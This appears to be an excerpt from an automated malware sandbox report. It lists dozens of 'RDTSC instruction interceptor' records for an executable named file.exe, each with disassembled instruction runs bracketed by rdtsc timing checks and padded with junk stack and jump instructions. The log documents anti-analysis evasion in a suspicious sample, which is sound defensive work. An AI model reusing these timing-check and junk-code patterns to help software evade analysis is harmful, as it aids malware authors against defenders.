Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868DAF second address: 868DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007F654C734E56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868DBB second address: 868DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F654CE0FA06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868DC9 second address: 868DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868DCD second address: 868DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F654CE0FA06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879862 second address: 87988E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F654C734E67h 0x0000000d jmp 00007F654C734E5Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886B91 second address: 886B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F654CE0FA06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886B9D second address: 886BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886BA1 second address: 886BAB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F654CE0FA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886EC second address: 8886F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886F1 second address: 888703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888703 second address: 888712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888712 second address: 888716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888716 second address: 888722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8888AC second address: 8888B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8888B2 second address: 8888C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E63h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8888C9 second address: 8888EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F654CE0FA0Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8888EC second address: 888903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F654C734E61h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A08E6 second address: 8A0913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA10h 0x00000009 popad 0x0000000a jmp 00007F654CE0FA10h 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F654CE0FA06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0D04 second address: 8A0D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 js 00007F654C734E56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0D12 second address: 8A0D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA15h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0E8D second address: 8A0E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0E93 second address: 8A0E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A104C second address: 8A1050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1050 second address: 8A1062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F654CE0FA06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1062 second address: 8A1066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3F1E second address: 8A3F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4081 second address: 8A4086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4174 second address: 8A417E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A417E second address: 8A4182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4182 second address: 8A41DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ecx 0x0000000e jmp 00007F654CE0FA0Bh 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F654CE0FA0Bh 0x0000001d mov eax, dword ptr [eax] 0x0000001f push edx 0x00000020 push ecx 0x00000021 jmp 00007F654CE0FA19h 0x00000026 pop ecx 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F654CE0FA0Bh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A443C second address: 8A4442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A564E second address: 8A5652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5652 second address: 8A5656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5656 second address: 8A5672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5672 second address: 8A567B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A567B second address: 8A5687 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F654CE0FA0Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5687 second address: 8A56AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E64h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007F654C734E5Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A56AA second address: 8A56C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F654CE0FA13h 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A56C5 second address: 8A56E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ah 0x00000007 js 00007F654C734E56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F654C734E56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A56E3 second address: 8A56E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6F32 second address: 8A6F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6F38 second address: 8A6F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnc 00007F654CE0FA06h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6F4C second address: 8A6F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8DC6 second address: 8A8DD0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654CE0FA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8DD0 second address: 8A8DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8DDA second address: 8A8E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F654CE0FA14h 0x00000008 jmp 00007F654CE0FA17h 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8456 second address: 7B845A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B845A second address: 7B846C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B846C second address: 7B8470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B861A second address: 7B8634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA16h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8634 second address: 7B865D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e jp 00007F654C734E56h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7034F second address: 4E70353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70353 second address: 4E70359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70359 second address: 4E70399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F654CE0FA0Ah 0x0000000b sbb ax, 6438h 0x00000010 jmp 00007F654CE0FA0Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov edi, eax 0x0000001d jmp 00007F654CE0FA10h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70399 second address: 4E703B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E703B5 second address: 4E70400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 08BBBCA4h 0x00000008 pushfd 0x00000009 jmp 00007F654CE0FA0Dh 0x0000000e and ch, FFFFFFE6h 0x00000011 jmp 00007F654CE0FA11h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F654CE0FA18h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70400 second address: 4E7040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7040F second address: 4E70417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70417 second address: 4E7045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 jmp 00007F654C734E5Ch 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 jmp 00007F654C734E60h 0x00000016 mov ecx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F654C734E67h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7045B second address: 4E70473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0472 second address: 4EA0478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0478 second address: 4EA0571 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e jmp 00007F654CE0FA16h 0x00000013 xchg eax, esi 0x00000014 jmp 00007F654CE0FA10h 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F654CE0FA11h 0x00000021 sub ax, E5B6h 0x00000026 jmp 00007F654CE0FA11h 0x0000002b popfd 0x0000002c mov si, 77A7h 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 jmp 00007F654CE0FA0Ah 0x00000037 lea eax, dword ptr [ebp-04h] 0x0000003a pushad 0x0000003b push ecx 0x0000003c pushfd 0x0000003d jmp 00007F654CE0FA0Dh 0x00000042 or esi, 6D0FD1C6h 0x00000048 jmp 00007F654CE0FA11h 0x0000004d popfd 0x0000004e pop esi 0x0000004f pushfd 0x00000050 jmp 00007F654CE0FA11h 0x00000055 adc cx, AB26h 0x0000005a jmp 00007F654CE0FA11h 0x0000005f popfd 0x00000060 popad 0x00000061 nop 0x00000062 pushad 0x00000063 mov cx, BEF3h 0x00000067 popad 0x00000068 push eax 0x00000069 jmp 00007F654CE0FA14h 0x0000006e nop 0x0000006f pushad 0x00000070 push ecx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0571 second address: 4EA0580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push dword ptr [ebp+08h] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0606 second address: 4EA0645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654CE0FA11h 0x00000009 or eax, 4348C216h 0x0000000f jmp 00007F654CE0FA11h 0x00000014 popfd 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b je 00007F654CE0FA5Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0645 second address: 4EA0654 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0654 second address: 4EA066C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA066C second address: 4EA0670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9000C second address: 4E90031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F654CE0FA0Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90031 second address: 4E90035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90035 second address: 4E9003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9003B second address: 4E90041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90041 second address: 4E90083 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F654CE0FA0Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F654CE0FA15h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90083 second address: 4E9018D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F654C734E5Eh 0x00000010 push FFFFFFFEh 0x00000012 pushad 0x00000013 movzx ecx, di 0x00000016 mov ax, dx 0x00000019 popad 0x0000001a call 00007F654C734E59h 0x0000001f jmp 00007F654C734E65h 0x00000024 push eax 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F654C734E67h 0x0000002c jmp 00007F654C734E63h 0x00000031 popfd 0x00000032 call 00007F654C734E68h 0x00000037 pushfd 0x00000038 jmp 00007F654C734E62h 0x0000003d jmp 00007F654C734E65h 0x00000042 popfd 0x00000043 pop eax 0x00000044 popad 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 jmp 00007F654C734E5Eh 0x0000004e mov eax, dword ptr [eax] 0x00000050 jmp 00007F654C734E5Bh 0x00000055 mov dword ptr [esp+04h], eax 0x00000059 jmp 00007F654C734E69h 0x0000005e pop eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F654C734E5Dh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9018D second address: 4E901EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 4E154DBFh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F654CE0FA0Dh 0x00000015 adc ch, 00000046h 0x00000018 jmp 00007F654CE0FA11h 0x0000001d popfd 0x0000001e movzx esi, di 0x00000021 popad 0x00000022 add dword ptr [esp], 278FDDB1h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F654CE0FA16h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E901EE second address: 4E9025E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 jmp 00007F654C734E5Dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr fs:[00000000h] 0x00000014 pushad 0x00000015 mov al, E8h 0x00000017 push edx 0x00000018 mov eax, 198500DBh 0x0000001d pop esi 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F654C734E5Ah 0x00000027 xor ch, FFFFFFA8h 0x0000002a jmp 00007F654C734E5Bh 0x0000002f popfd 0x00000030 movzx ecx, bx 0x00000033 popad 0x00000034 mov dword ptr [esp], eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F654C734E5Ch 0x00000040 xor ax, 7108h 0x00000045 jmp 00007F654C734E5Bh 0x0000004a popfd 0x0000004b mov ax, AB7Fh 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9025E second address: 4E90264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90264 second address: 4E902C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e pushad 0x0000000f movzx esi, dx 0x00000012 mov si, bx 0x00000015 popad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F654C734E65h 0x00000020 and eax, 219AFC36h 0x00000026 jmp 00007F654C734E61h 0x0000002b popfd 0x0000002c mov bl, ch 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902C1 second address: 4E902E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 791Fh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F654CE0FA17h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902E9 second address: 4E9031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654C734E5Fh 0x00000009 and ch, FFFFFFCEh 0x0000000c jmp 00007F654C734E69h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9031B second address: 4E90329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90329 second address: 4E9032F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9032F second address: 4E90335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
